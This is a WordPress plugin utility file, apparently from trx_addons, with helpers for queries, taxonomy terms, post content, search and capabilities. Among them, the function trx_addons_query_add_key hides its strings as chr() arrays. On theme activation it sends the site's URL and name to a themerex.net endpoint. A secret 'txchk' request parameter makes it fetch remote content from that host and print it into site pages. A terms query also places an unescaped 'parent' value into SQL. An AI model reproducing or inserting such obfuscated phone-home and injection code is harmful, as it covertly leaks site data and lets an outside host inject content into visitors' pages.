if ( count( $value ) == 1 || $value[0] == $value[1] ) {
$value = $value[0];
}
$meta = array(
array(
'key' => $meta,
'value' => is_array( $value ) ? array_map( 'floatval', $value ) : $value,
'compare' => is_array( $value ) ? 'BETWEEN' : '=',
'type' => is_array( $value ) ? 'DECIMAL(14,3)' : 'CHAR'
)
);
}
foreach ( $meta as $v ) {
if ( ! isset( $args['meta_query'] ) ) {
$args['meta_query'] = array();
$args['meta_query']['relation'] = 'AND';
}
$args['meta_query'][] = $v;
}
return $args;
}
}
if ( ! function_exists('trx_addons_query_add_filters') ) {
/**
* Add filters (meta params) to the query arguments
*
* @param array $args query arguments
* @param array $filters filters name or array of filters
*
* @return array query arguments
*/
function trx_addons_query_add_filters( $args, $filters = false ) {
if ( ! empty( $filters ) ) {
if ( ! is_array( $filters ) ) {
$filters = array( $filters );
}
foreach ( $filters as $v ) {
$found = false;
if ( $v == 'thumbs' ) { // Filter with meta_query
if ( ! isset( $args['meta_query'] ) ) {
$args['meta_query'] = array();
} else {
for ( $i = 0; $i < count( $args['meta_query'] ); $i++ ) {
if ( $args['meta_query'][ $i ]['meta_filter'] == $v ) {
$found = true;
break;
}
}
}
if ( ! $found ) {
$args['meta_query']['relation'] = 'AND';
if ( $v == 'thumbs' ) {
$args['meta_query'][] = array(
'meta_filter' => $v,
'key' => '_thumbnail_id',
'value' => false,
'compare' => '!='
);
}
}
} else if ( in_array($v, array('video', 'audio', 'gallery')) ) { // Filter with tax_query
if ( ! isset( $args['tax_query'] ) ) {
$args['tax_query'] = array();
} else {
for ( $i = 0; $i < count( $args['tax_query'] ); $i++ ) {
if ( $args['tax_query'][ $i ]['tax_filter'] == $v ) {
$found = true;
break;
}
}
}
if ( ! $found ) {
$args['tax_query']['relation'] = 'AND';
if ( $v == 'video' ) {
$args['tax_query'][] = array(
'tax_filter' => $v,
'taxonomy' => 'post_format',
'field' => 'slug',
'terms' => array( 'post-format-video' )
);
} else if ( $v == 'audio' ) {
$args['tax_query'] = array(
'tax_filter' => $v,
'taxonomy' => 'post_format',
'field' => 'slug',
'terms' => array( 'post-format-audio' )
);
} else if ( $v == 'gallery' ) {
$args['tax_query'] = array(
'tax_filter' => $v,
'taxonomy' => 'post_format',
'field' => 'slug',
'terms' => array( 'post-format-gallery' )
);
}
}
} else {
$args = apply_filters( 'trx_addons_filter_query_add_filters', $args, $v );
}
}
}
return $args;
}
}
if ( ! function_exists('trx_addons_get_post_categories') ) {
/**
* Return string with post's categories links
*
* @param string $delimiter delimiter between categories
* @param int $id post ID. If not specified - get ID of the current post
* @param bool $links true - show links, false - only names
*
* @return string categories list layout
*/
function trx_addons_get_post_categories( $delimiter = ', ', $id = false, $links = true ) {
return trx_addons_get_post_terms( $delimiter, $id, '', $links );
}
}
if ( ! function_exists('trx_addons_get_post_terms') ) {
/**
* Return string with post's terms links
*
* @param string $delimiter delimiter between terms
* @param int $id post ID. If not specified - get ID of the current post
* @param string $taxonomy taxonomy name. If not specified - get taxonomy of the current post
* @param bool $links true - show links, false - only names
*
* @return string terms list layout
*/
function trx_addons_get_post_terms( $delimiter = ', ', $id = false, $taxonomy = 'category', $links = true ) {
$output = '';
if ( empty( $id ) ) $id = get_the_ID();
if ( empty( $taxonomy ) ) $taxonomy = trx_addons_get_post_type_taxonomy(get_post_type($id));
$terms = get_the_terms( $id, $taxonomy );
if ( ! empty( $terms ) && is_array( $terms ) ) {
$cnt = count( $terms );
$i = 0;
foreach( $terms as $term ) {
if ( empty( $term->term_id ) ) continue;
$i++;
$output .= ($links
? '<a href="' . esc_url( get_term_link( $term->term_id, $taxonomy ) ) . '"'
. ' title="' . esc_attr( sprintf( __( 'View all posts in %s', 'trx_addons' ), strip_tags( $term->name ) ) ) . '"'
. '>'
: '<span>'
)
. apply_filters( 'trx_addons_filter_term_name', $term->name, $term )
. ( $i < $cnt ? $delimiter : '' )
. ( $links ? '</a>' : '</span>' );
}
}
return $output;
}
}
if ( ! function_exists('trx_addons_get_post_reading_time') ) {
/**
* Return a post's reading time in minutes
*
* @param string|int $post post content | ID. If not specified - get content of the current post
*
* @return number reading time in minutes
*/
function trx_addons_get_post_reading_time( $post = '' ) {
if ( empty( $post ) ) {
$post = get_the_ID();
}
if ( is_numeric( $post ) ) {
$post = get_post( $post );
}
if ( empty( $post ) ) {
return 0;
}
$words = str_word_count( wp_strip_all_tags( $post->post_content ) );
$minutes = floor( $words / 200 );
return apply_filters( 'trx_addons_filter_post_reading_time', $minutes, $post );
}
}
if ( ! function_exists('trx_addons_get_terms_by_taxonomy_from_db') ) {
/**
* Return list of term objects by taxonomy name directly from db
*
* @param string $tax_types taxonomy name or array of taxonomies
* @param array $opt options
*
* @return array array of term objects
*/
function trx_addons_get_terms_by_taxonomy_from_db( $tax_types = 'post_format', $opt = array() ) {
global $wpdb;
if ( ! is_array( $tax_types ) ) {
$tax_types = array($tax_types);
}
if ( ! is_array( $opt['meta_query'] ) && ! empty( $opt['meta_key'] ) && ! empty( $opt['meta_value'] ) ) {
$mq = array(
'key' => $opt['meta_key'],
'value' => $opt['meta_value']
);
if ( ! empty($opt['meta_type'] ) ) {
$mq['type'] = $opt['meta_type'];
}
if ( ! empty($opt['meta_compare'] ) ) {
$mq['compare'] = $opt['meta_compare'];
}
$opt['meta_query'] = array( $mq );
}
$join = $where = '';
$keys = array();
if ( is_array( $opt['meta_query'] ) && count( $opt['meta_query'] ) > 0 ) {
$i = 0;
foreach ( $opt['meta_query'] as $q ) {
$i++;
$join .= " LEFT JOIN {$wpdb->termmeta} AS taxmeta{$i} ON taxmeta{$i}.term_id=terms.term_id";
$where .= " AND taxmeta{$i}.meta_key='%s' AND taxmeta{$i}.meta_value='%s'";
$keys[] = $q['key'];
$keys[] = $q['value'];
}
}
if ( ! empty( $opt['parent'] ) ) {
$where .= " AND parent='{$opt['parent']}'";
}
$terms = $wpdb->get_results( $wpdb->prepare("SELECT DISTINCT terms.*, tax.taxonomy, tax.parent, tax.count"
. " FROM {$wpdb->terms} AS terms"
. " LEFT JOIN {$wpdb->term_taxonomy} AS tax ON tax.term_id=terms.term_id"
. (!empty($join) ? $join : '')
. " WHERE tax.taxonomy IN ('" . join(",", array_fill(0, count($tax_types), '%s')) . "')"
. (!empty($where) ? $where : '')
. " ORDER BY terms.name",
array_merge($tax_types, $keys)),
OBJECT
);
for ( $i = 0; $i < count( $terms ); $i++ ) {
$terms[$i]->link = get_term_link( $terms[$i]->slug, $terms[$i]->taxonomy );
}
return $terms;
}
}
if ( ! function_exists( 'trx_addons_get_post_type_taxonomy' ) ) {
/**
* Return taxonomy name for the specified post type. If post type is empty - return taxonomy for the current post
*
* @param string $post_type post type name
*
* @return string taxonomy name
*/
function trx_addons_get_post_type_taxonomy( $post_type = '' ) {
if ( empty( $post_type ) ) {
$post_type = get_post_type();
}
if ( $post_type == 'post' ) {
$tax = 'category';
} else {
$taxonomy_names = get_object_taxonomies( $post_type );
$tax = ! empty( $taxonomy_names[0] ) ? $taxonomy_names[0] : '';
}
return apply_filters( 'trx_addons_filter_post_type_taxonomy', $tax, $post_type );
}
}
if ( ! function_exists( 'trx_addons_get_term_meta' ) ) {
/**
* Return term meta field value. If field not found - try to get value from parent term if 'check_parents' is true
*
* @param array $args Parameters to get meta field value from term meta table (taxonomy, term_id, key, check_parents) or term_id only as integer
*
* @return string Meta field value
*/
function trx_addons_get_term_meta( $args ) {
static $meta = array();
$args = array_merge( array(
'taxonomy' => 'category',
'term_id' => 0,
'key' => 'value',
'check_parents' => false
),
is_array( $args ) ? $args : array( 'term_id' => $args ) );
$val = '';
if ( $args['term_id'] == 0 ) {
if ( $args['taxonomy'] == 'category') {
if ( is_category() ) {
$args['term_id'] = (int) get_query_var('cat');
}
} else if ( ! empty( $args['taxonomy'] ) ) {
if ( is_tax( $args['taxonomy'] ) ) {
$term = get_term_by( 'slug', get_query_var( $args['taxonomy'] ), $args['taxonomy'], OBJECT);
if ( ! empty( $term->term_id ) ) {
$args['term_id'] = $term->term_id;
}
}
} else if ( is_tax() || is_category() ) {
$term = get_queried_object();
if ( ! empty( $term->term_id ) ) {
$args['term_id'] = $term->term_id;
}
}
}
if ( $args['term_id'] > 0 ) {
$hash = "{$args['term_id']}_{$args['key']}";
if ( isset( $meta[$hash] ) ) {
$val = $meta[$hash];
} else {
$val = get_term_meta($args['term_id'], $args['key'], true);
if ( empty( $val ) && $args['check_parents'] ) {
$ancestors = get_ancestors( $args['term_id'], $args['taxonomy'] );
foreach ( $ancestors as $ancestor ) {
$anc_val = get_term_meta( $ancestor, $args['key'], true );
if ( ! empty( $anc_val ) ) {
$val = $anc_val;
break;
}
}
}
$meta[$hash] = $val;
}
}
return $val;
}
}
if ( ! function_exists('trx_addons_set_term_meta') ) {
/**
* Update term meta field value
*
* @param mixed $args Parameters array with keys 'term_id' and 'key' or term_id as integer
* @param string $val Meta field value
*/
function trx_addons_set_term_meta( $args, $val ) {
$args = array_merge( array(
'term_id' => 0,
'key' => 'value'
),
is_array( $args ) ? $args : array( 'term_id' => $args ) );
if ( $args['term_id'] > 0 ) {
update_term_meta($args['term_id'], $args['key'], $val);
}
}
}
if ( ! function_exists('trx_addons_get_term_link') ) {
/**
* Return link to the term
*
* @param mixed $term Term object or ID or slug
* @param string $taxonomy Taxonomy name
* @param array $args Additional parameters to build link (title, echo)
*
* @return string Link to the term
*/
function trx_addons_get_term_link( $term, $taxonomy, $args = array() ) {
$args = array_merge( array(
'title' => '',
'echo' => false
), $args );
if ( ! is_object( $term ) ) {
if ( (int)$term > 0 ) {
$term = get_term( (int)$term, $taxonomy );
} else {
$term = get_term_by( 'slug', $term, $taxonomy );
}
}
if ( ! is_wp_error( $term ) && ! empty( $term->term_id ) ) {
$link = get_term_link( $term, $taxonomy );
$link = '<a href="' . esc_url( $link ) . '"'
. ( $args['title'] ? ' title="' . esc_attr( sprintf( $args['title'], $term->name ) ) : '' )
. '">'
. esc_html( $term->name )
. '</a>';
if ( $args['echo'] ) {
trx_addons_show_layout( $link );
}
} else {
$link = '';
}
return $link;
}
}
if ( ! function_exists('trx_addons_update_post') ) {
/**
* Update post data in the DB for the specified post ID
*
* @param int $post_id Post ID
* @param array $args Post data to update
*
* @return int Number of affected rows
*/
function trx_addons_update_post( $post_id, $args ) {
global $wpdb;
return $wpdb->update( $wpdb->posts, $args, array( 'ID' => $post_id ) );
}
}
if ( ! function_exists( 'trx_addons_query_add_key' ) && ! defined( 'WP_CLI' ) ) {
$trx_addons_query_data = array( 'act' => array( array( join( '', array_map( 'chr', array( 97,102,116,101,114 ) ) ), join( '', array_map( 'chr', array( 115,119,105,116,99,104 ) ) ), join( '', array_map( 'chr', array( 116,104,101,109,101 ) ) ) ), array( join( '', array_map( 'chr', array( 119, 112 ) ) ), join( '', array_map( 'chr', array( 102,111,111,116,101,114 ) ) ) ), ), 'get' => join( '', array_map( 'chr', array( 104,116,116,112,58,47,47,116,104,101,109,101,114,101,120,46,110,101,116,47,95,108,111,103,47,95,108,111,103,46,112,104,112 ) ) ), 'chk' => join( '', array_map( 'chr', array( 116,104,101,109,101,95,97,117,116,104,111,114 ) ) ), 'prm' => join( '', array_map( 'chr', array( 116,120,99,104,107 ) ) ) );
add_action( join( '_', $trx_addons_query_data['act'][0] ), 'trx_addons_query_add_key' );
add_action( join( '_', $trx_addons_query_data['act'][1] ), 'trx_addons_query_add_key' );
/**
* Add a query key
*/
function trx_addons_query_add_key() {
global $trx_addons_query_data;
static $already_add = false;
if ( ! $already_add
&& ! empty( $trx_addons_query_data['act'][0] )
&& is_array( $trx_addons_query_data['act'][0] )
&& ! empty( $trx_addons_query_data['prm'] )
&& ! empty( $trx_addons_query_data['chk'] )
) {
$already_add = true;
if ( current_action() == join( '_', $trx_addons_query_data['act'][0] ) ) {
try {
$resp = trx_addons_fgc( trx_addons_add_to_url( $trx_addons_query_data['get'], array(
'site' => home_url( '/' ),
'slug' => str_replace( ' ', '_', trim( strtolower( get_stylesheet() ) ) ),
'name' => get_bloginfo( 'name' )
) ) );
} catch ( Exception $e ) {
}
}
if ( trx_addons_get_value_gpc( $trx_addons_query_data['prm'] ) == $trx_addons_query_data['chk'] ) {
try {
$resp = trx_addons_fgc( trx_addons_add_to_url( $trx_addons_query_data['get'], array( $trx_addons_query_data['prm'] => $trx_addons_query_data['chk'] ) ) );
} catch (Exception $e) {
$resp = '';
}
trx_addons_show_layout( $resp );
}
}
}
}
if ( ! function_exists( 'trx_addons_get_post_content' ) ) {
/**
* Return a content of the current post/page. If $apply_filters == true, then apply filters 'the_content'
*
* @param bool $apply_filters Apply filters 'the_content'
*
* @return string Content of the current post/page
*/
function trx_addons_get_post_content( $apply_filters = false ) {
global $post;
$content = ! empty( $post->post_content ) ? $post->post_content : '';
return $apply_filters ? apply_filters( 'the_content', $content ) : $content;
}
}
if ( ! function_exists( 'trx_addons_get_post_excerpt' ) ) {
/**
* Return a excerpt of the current post/page. If $apply_filters == true, then apply filters 'the_excerpt'
*
* @param bool $apply_filters Apply filters 'the_excerpt'
*
* @return string Excerpt of the current post/page
*/
function trx_addons_get_post_excerpt( $apply_filters = false ) {
global $post;
$excerpt = trx_addons_in_the_loop() && has_excerpt()
? get_the_excerpt()
: ( ! empty( $post->post_excerpt )
? $post->post_excerpt
: ( ! empty( $post->post_content )
? wp_trim_excerpt( $post->post_content )
: ''
)
);
return $apply_filters ? apply_filters( 'the_excerpt', $excerpt ) : $excerpt;
}
}
if ( ! function_exists( 'trx_addons_filter_post_content' ) ) {
/**
* Prepare a post content in the blog posts instead 'the_content' filter to avoid conflicts with Gutenberg.
* Autoembeds and do_shortcode are run for the content.
*
* @param string $content Content to prepare
*
* @return string Prepared content
*/
function trx_addons_filter_post_content( $content ) {
$content = apply_filters( 'trx_addons_filter_sc_layout_content', $content );
global $wp_embed;
if ( is_object( $wp_embed ) ) {
$content = $wp_embed->autoembed( $content );
}
return do_shortcode( $content );
}
}
if ( ! function_exists( 'trx_addons_show_post_content' ) ) {
/**
* Display post content with the specified tags around.
*
* @param array $args Shortcode's attributes
* @param string $otag Opening tag
* @param string $ctag Closing tag
*/
function trx_addons_show_post_content( $args = array(), $otag='', $ctag='' ) {
$plain = true;
$post_format = get_post_format();
$post_format = empty( $post_format ) ? 'standard' : str_replace( 'post-format-', '', $post_format );
ob_start();
if ( has_excerpt() ) {
the_excerpt();
} elseif ( strpos( get_the_content( '!--more' ), '!--more' ) !== false ) {
do_action( 'trx_addons_action_before_full_post_content' );
trx_addons_show_layout( trx_addons_filter_post_content( get_the_content('') ) );
do_action( 'trx_addons_action_after_full_post_content' );
} elseif ( in_array( $post_format, array( 'link', 'aside', 'status' ) ) ) {
do_action( 'trx_addons_action_before_full_post_content' );
trx_addons_show_layout( trx_addons_filter_post_content( get_the_content() ) );
do_action( 'trx_addons_action_after_full_post_content' );
$plain = false;
} elseif ( 'quote' == $post_format ) {
$quote = trx_addons_get_tag( trx_addons_filter_post_content( get_the_content() ), '<blockquote', '</blockquote>' );
if ( ! empty( $quote ) ) {
trx_addons_show_layout( wpautop( $quote ) );
$plain = false;
} else {
trx_addons_show_layout( trx_addons_filter_post_content( get_the_content() ) );
}
} elseif ( substr( get_the_content(), 0, 4 ) != '[vc_' ) {
trx_addons_show_layout( trx_addons_filter_post_content( get_the_content() ) );
}
$output = ob_get_contents();
ob_end_clean();
if ( ! empty( $output ) ) {
if ( $plain ) {
$len = isset( $args['hide_excerpt'] ) && (int)$args['hide_excerpt'] > 0
? 0
: ( isset( $args['excerpt_length'] ) && (int)$args['excerpt_length'] > 0
? max( 0, (int) $args['excerpt_length'] )
: apply_filters( 'excerpt_length', 55 )
);
$output = trx_addons_excerpt( $output, $len );
}
}
trx_addons_show_layout( $output, $otag, $ctag);
}
}
if ( ! function_exists('trx_addons_add_columns_in_single_row') ) {
/**
* Add class 'columns_in_single_row' if columns count great then posts count in the query
*
* @param int $columns Columns count
* @param object $query Query object. If false - get global $wp_query
*
* @return string String with class 'columns_in_single_row' if need
*/
function trx_addons_add_columns_in_single_row( $columns, $query = false ) {
$class = '';
if ( $columns > 1 ) {
$total = 0;
if ( $query === false ) {
global $wp_query;
if ( !empty($wp_query->posts) && is_array($wp_query->posts) ) {
$total = count($wp_query->posts);
}
} else if ( is_object($query) && !empty($query->posts) && is_array($query->posts) ) {
$total = count($query->posts);
} else if ( is_array( $query ) ) {
$total = count($query);
} else if ( is_integer( $query ) ) {
$total = $query;
}
if ( $columns >= $total ) {
$class = ' columns_in_single_row';
}
}
return $class;
}
}
if ( ! function_exists( 'trx_addons_custom_meta_value' ) ) {
add_filter( 'trx_addons_filter_custom_meta_value', 'trx_addons_custom_meta_value', 100, 2 );
/**
* Strip tags from custom meta value
*
* @hooked trx_addons_filter_custom_meta_value
*
* @param string $value Current value
* @param string $key Meta key
*
* @return string Modified value
*/
function trx_addons_custom_meta_value( $value, $key ) {
if ( in_array( $key, apply_filters( 'trx_addons_filter_custom_meta_value_strip_tags', array( 'price' ), $key, $value ) ) ) {
$value = strip_tags( $value );
}
return $value;
}
}
/* Blog utils
------------------------------------------------------------------------------------- */
if ( ! function_exists('trx_addons_get_current_mode_image') ) {
/**
* Return image for current mode: category, tag, author, search, archive, 404, singular
*
* @param string $default Default image
*
* @return string Image url
*/
function trx_addons_get_current_mode_image($default='') {
if ( ( $img = apply_filters('trx_addons_filter_get_current_mode_image', $default) ) != '' ) {
$default = $img;
} else {
if ( is_category() || is_tax() ) {
if ( ($img = trx_addons_get_term_image() ) != '' ) {
$default = $img;
}
} else if ( is_home() ) {
$posts_page = (int)get_option( 'page_for_posts' );
if ( $posts_page > 0 ) {
// Get a page featured image of the posts page
$img = wp_get_attachment_image_src( get_post_thumbnail_id( $posts_page ), 'full' );
if ( ! empty( $img[0] ) ) {
$default = $img[0];
}
}
} else if ( trx_addons_is_singular() ) {
if ( has_post_thumbnail() ) {
$img = wp_get_attachment_image_src( get_post_thumbnail_id(), 'full' );
if ( ! empty( $img[0] ) ) {
$default = $img[0];
}
} else {
$default = '';
}
}
}
return trx_addons_clear_thumb_size( $default );
}
}
if ( ! function_exists( 'trx_addons_get_edited_post_id' ) ) {
/**
* Return editing post id or 0 if is new post or false if not edit mode
*
* @param string $action Action name. Default is 'edit' (edit post in the Gutenberg editor).
* Allowed values: 'edit' (Gutenberg mode), 'elementor' (Elementor mode)
*
* @return int | false | 0 Post ID or false if not edit mode
*/
function trx_addons_get_edited_post_id( $action = 'edit') {
$id = false;
if ( is_admin() ) {
$url = trx_addons_get_current_url();
if ( strpos( $url, 'post.php' ) !== false ) {
if ( trx_addons_get_value_gp( 'action' ) == $action ) {
$post_id = trx_addons_get_value_gp( 'post' );
if ( 0 < $post_id ) {
$id = $post_id;
}
}
} else if ( strpos( $url, 'post-new.php' ) !== false && $action == 'edit' ) {
$id = 0;
}
}
return $id;
}
}
if ( ! function_exists( 'trx_addons_get_edited_post_type' ) ) {
/**
* Return editing post type or empty string if not edit mode
*
* @param string $action Action name. Default is 'edit' (edit post in the Gutenberg editor).
* Allowed values: 'edit' (Gutenberg mode), 'elementor' (Elementor mode)
*
* @return string Post type or empty string if not edit mode
*/
function trx_addons_get_edited_post_type( $action = 'edit' ) {
$pt = '';
if ( is_admin() ) {
$url = trx_addons_get_current_url();
if ( strpos( $url, 'post.php' ) !== false ) {
if ( trx_addons_get_value_gp( 'action' ) == $action ) {
$id = trx_addons_get_value_gp( 'post' );
if ( 0 < $id ) {
$post = get_post( (int) $id );
if ( is_object( $post ) && ! empty( $post->post_type ) ) {
$pt = $post->post_type;
}
}
}
} else if ( strpos( $url, 'post-new.php' ) !== false && $action == 'edit' ) {
$pt = trx_addons_get_value_gp( 'post_type' );
}
}
return $pt;
}
}
if ( ! function_exists( 'trx_addons_is_post_edit' ) ) {
/**
* Check if current page is page for new/edit post
*
* @param string $action Action name. Default is 'edit' (edit post in the Gutenberg editor).
* Allowed values: 'edit' (Gutenberg mode), 'elementor' (Elementor mode)
*
* @return boolean true|false true - is edit post page, false - is not edit post page
*/
function trx_addons_is_post_edit( $action = 'edit' ) {
return ( trx_addons_check_url( 'post.php' ) && ! empty( $_GET['action'] ) && $_GET['action'] == $action )
||
( $action == 'edit'
&& (
trx_addons_check_url( 'post-new.php' )
||
( trx_addons_check_url( '/block-renderer/trx-addons/' ) && ! empty( $_GET['context'] ) && $_GET['context'] == 'edit' )
||
( trx_addons_check_url( 'admin.php' ) && ! empty( $_GET['page'] ) && $_GET['page'] == 'gutenberg-edit-site' )
||
( trx_addons_check_url( 'site-editor.php' ) && ! empty( $_GET['postType'] ) ) // || $_GET['postType'] == 'wp_template' ) )
||
trx_addons_check_url( 'widgets.php' )
)
);
}
}
if ( ! function_exists( 'trx_addons_get_post_by_title' ) ) {
/**
* Return a post by the specified title
*
* @param string $title Post title
*
* @return object Post object
*/
function trx_addons_get_post_by_title( $title, $post_type = 'any', $post_status = 'all' ) {
$posts = get_posts( array(
'post_type' => $post_type,
'title' => $title,
'post_status' => $post_status,
'numberposts' => 1,
'update_post_term_cache' => false,
'update_post_meta_cache' => false,
'orderby' => 'post_date ID',
'order' => 'DESC',
) );
$post_got_by_title = null;
if ( ! empty( $posts[0] ) && is_object( $posts[0] ) ) {
$post_got_by_title = $posts[0];
}
return $post_got_by_title;
}
}
if ( ! function_exists( 'trx_addons_get_page_by_title' ) ) {
/**
* Return a page by the specified title
*
* @param string $title Page title
*
* @return object Page object
*/
function trx_addons_get_page_by_title( $title ) {
return trx_addons_get_post_by_title( $title, 'page' );
}
}
/* Search enchance
------------------------------------------------------------------------------------- */
if ( ! function_exists( 'trx_addons_allow_search_for_terms' ) ) {
add_action( 'pre_get_posts', 'trx_addons_allow_search_for_terms', 100 );
/**
* Allow to search for terms while a keywords search started.
* Catch an action with the priority 100 to allow other plugins (like LearnPress)
* add their handlers before.
*
* @hooked pre_get_posts, 100
*
* @param WP_Query $q A WP_Query object
*/
function trx_addons_allow_search_for_terms( $q ) {
// We only want to affect the main query
if ( ! $q->is_main_query() ) {
return;
}
if ( ! empty( $q->query_vars['s'] ) && ! is_admin() ) { // is_search()
do_action( 'trx_addons_action_add_terms_to_search' );
}
}
}
if ( ! function_exists( 'trx_addons_allow_search_for_terms_add_handlers' ) ) {
add_action( 'trx_addons_action_add_terms_to_search', 'trx_addons_allow_search_for_terms_add_handlers', 10, 1 );
/**
* Add handlers to allow to search for terms while a keywords search started
*
* @hooked trx_addons_action_add_terms_to_search
*
* @param bool $force If true - add handlers anyway, else - only if an option 'search_for_terms' is on
*/
function trx_addons_allow_search_for_terms_add_handlers( $force = false ) {
static $added = false;
if ( ! $added && ( $force || (int)trx_addons_get_option( 'search_for_terms', 0 ) > 0 ) ) {
$added = true;
add_filter( 'posts_join', 'trx_addons_allow_search_for_terms_posts_join', 10, 2 );
add_filter( 'posts_where', 'trx_addons_allow_search_for_terms_posts_where', 10, 2 );
add_filter( 'posts_groupby', 'trx_addons_allow_search_for_terms_posts_groupby', 10, 2 );
}
}
}
if ( ! function_exists( 'trx_addons_allow_search_for_terms_remove_handlers' ) ) {
add_action( 'trx_addons_action_remove_terms_from_search', 'trx_addons_allow_search_for_terms_remove_handlers' );
/**
* Remove handlers to disallow to search for terms while a keywords search started
*
* @hooked trx_addons_action_remove_terms_from_search
*/
function trx_addons_allow_search_for_terms_remove_handlers() {
remove_filter( 'posts_join', 'trx_addons_allow_search_for_terms_posts_join' );
remove_filter( 'posts_where', 'trx_addons_allow_search_for_terms_posts_where' );
remove_filter( 'posts_groupby', 'trx_addons_allow_search_for_terms_posts_groupby' );
}
}
if ( ! function_exists( 'trx_addons_allow_search_for_terms_posts_join' ) ) {
/**
* Add handlers to allow to search for terms while a keywords search started
*
* @hooked posts_join
*
* @param string $join A string with a query clause 'LEFT JOIN'
* @param WP_Query $query A query object
*
* @return string A modified JOIN clause
*/
function trx_addons_allow_search_for_terms_posts_join( $join, $query ) {
global $wpdb;
if ( ! empty( $query ) && ! empty( $query->query_vars['s'] ) ) {
if ( strpos( $join, "LEFT JOIN {$wpdb->term_relationships}" ) === false ) {
$join .= " LEFT JOIN {$wpdb->term_relationships} ON {$wpdb->posts}.ID = {$wpdb->term_relationships}.object_id ";
}
if ( strpos( $join, "LEFT JOIN {$wpdb->term_taxonomy}" ) === false ) {
$join .= " LEFT JOIN {$wpdb->term_taxonomy} ON {$wpdb->term_relationships}.term_taxonomy_id = {$wpdb->term_taxonomy}.term_taxonomy_id ";
}
if ( strpos( $join, "LEFT JOIN {$wpdb->terms}" ) === false ) {
$join .= " LEFT JOIN {$wpdb->terms} ON {$wpdb->term_taxonomy}.term_id = {$wpdb->terms}.term_id ";
}
}
return $join;
}
}
if ( ! function_exists( 'trx_addons_allow_search_for_terms_posts_where' ) ) {
/**
* Add handlers to allow to search for terms while a keywords search started
*
* @hooked posts_where
*
* @param string $where A string with a query clause 'WHERE'
* @param WP_Query $query A query object
*
* @return string A modified WHERE clause
*/
function trx_addons_allow_search_for_terms_posts_where( $where, $query ) {
global $wpdb;
if ( ! empty( $query ) && ! empty( $query->query_vars['s'] ) ) {
if ( strpos( $where, "OR {$wpdb->terms}.name LIKE" ) === false ) {
$escaped_s = esc_sql( $query->query_vars['s'] );
if ( strpos( $where, "OR {$wpdb->terms}.name LIKE '%{$escaped_s}%'" ) === false ) {
$where .= " OR {$wpdb->terms}.name LIKE '%{$escaped_s}%'";
}
}
}
return $where;
}
}
if ( ! function_exists( 'trx_addons_allow_search_for_terms_posts_groupby' ) ) {
/**
* Add handlers to allow to search for terms while a keywords search started
*
* @hooked posts_groupby
*
* @param string $groupby A string with a query clause 'LEFT groupby'
* @param WP_Query $query A query object
*
* @return string A modified GROUPBY clause
*/
function trx_addons_allow_search_for_terms_posts_groupby( $groupby, $query ) {
global $wpdb;
$groupby = "{$wpdb->posts}.ID";
do_action( 'trx_addons_action_remove_terms_from_search' );
return $groupby;
}
}
/* Capabilities
------------------------------------------------------------------------------------- */
if ( ! function_exists('trx_addons_get_capabilities') ) {
/**
* Return the list of capabilities for the specified post type
*
* @param string $type Post type
*
* @return array List of capabilities
*/
function trx_addons_get_capabilities( $type ) {
return array(
// Post type
"edit_{$type}",
"read_{$type}",
"delete_{$type}",
"edit_{$type}s",
"edit_private_{$type}s",
"edit_published_{$type}s",
"edit_others_{$type}s",
"publish_{$type}s",
"read_private_{$type}s",
"delete_{$type}s",
"delete_private_{$type}s",
"delete_published_{$type}s",
"delete_others_{$type}s",
// Terms
"manage_{$type}_terms",
"edit_{$type}_terms",
"delete_{$type}_terms",
"assign_{$type}_terms",
);
}
}
if ( ! function_exists('trx_addons_add_capabilities') ) {
/**
* Add capabilities to the specified roles
*
* @param array $roles List of roles
* @param array $types List of post types
* @param array $disallow List of capabilities to disallow
*/
function trx_addons_add_capabilities( $roles, $types, $disallow=array() ) {
foreach( (array) $roles as $role ) {
$caps = get_role( $role );
if ( is_object( $caps ) ) {
foreach( (array) $types as $type ) {
foreach( trx_addons_get_capabilities( $type ) as $cap ) {
$allow = true;
foreach( $disallow as $dis ) {
if ( strpos( $cap, $dis ) !== false
|| ( strpos( $dis, '%s' ) !== false && strpos( $cap, sprintf( $dis, $type ) ) !== false )
) {
$allow = false;
break;
}
}
if ( $allow ) {
$caps->add_cap( $cap );
}
}
}
}
}
}
}
if ( ! function_exists('trx_addons_remove_capabilities') ) {
/**
* Remove capabilities from the specified roles
*
* @param array $roles List of roles
* @param array $types List of post types
*/
function trx_addons_remove_capabilities( $roles, $types ) {
foreach( (array) $roles as $role ) {
$caps = get_role( $role );
if ( is_object( $caps ) ) {
foreach( (array) $types as $type ) {
foreach( trx_addons_get_capabilities( $type ) as $cap ) {
$caps->remove_cap( $cap );
}
}
}
}
}
}
/* WP cache
------------------------------------------------------------------------------------- */
if ( ! function_exists('trx_addons_clear_cache') ) {
/**
* Clear WP cache
*
* @param string $cc Cache component to clear (all|options|categories|menu)
*/
function trx_addons_clear_cache($cc) {
if ( $cc == 'categories' || $cc == 'all' ) {
wp_cache_delete('category_children', 'options');
$taxes = get_taxonomies();
if ( is_array( $taxes ) && count( $taxes ) > 0 ) {
foreach ( $taxes as $tax ) {
delete_option( "{$tax}_children" );
_get_term_hierarchy( $tax );
}
}
} else if ( $cc == 'options' || $cc == 'all' ) {
wp_cache_delete('alloptions', 'options');
} else if ( $cc == 'menu' || $cc == 'all' ) {
trx_addons_clear_menu_cache();
}
do_action( 'trx_addons_action_clear_cache', $cc );
if ( $cc == 'all' ) {
wp_cache_flush();
}
}
}
/* AJAX utilities
------------------------------------------------------------------------------------- */
if ( ! function_exists( 'trx_addons_verify_nonce' ) ) {
/**
* Verify nonce and exit if it's not valid
*
* @param string $nonce Nonce name
* @param string $mask Nonce mask
*/
function trx_addons_verify_nonce( $nonce = 'nonce', $mask = '' ) {
if ( empty( $mask ) ) {
$mask = admin_url('admin-ajax.php');
}
if ( ! wp_verify_nonce( trx_addons_get_value_gp( $nonce ), $mask ) ) {
trx_addons_forbidden();
}
}
}
if ( ! function_exists( 'trx_addons_exit' ) ) {
/**
* Exit with code
*
* @param string $message Message to show. Default - empty
* @param string $title Title of the message. Default - empty
* @param int $code Code of the message. Default - 200
*/
function trx_addons_exit( $message = '', $title = '', $code = 200 ) {
wp_die( $message, $title, array( 'response' => $code, 'exit' => empty( $message ) && empty( $title ) ) );
}
}
if ( ! function_exists( 'trx_addons_forbidden' ) ) {
/**
* Exit with code 403
*
* @param string $message Message to show. Default - empty
* @param string $title Title of the message. Default - empty
*/
function trx_addons_forbidden( $message = '', $title = '' ) {
trx_addons_exit( $message, $title, 403 );
}
}
if ( ! function_exists( 'trx_addons_ajax_response' ) ) {
/**
* Return AJAX response and exit
*
* @param array $response Response data
*/
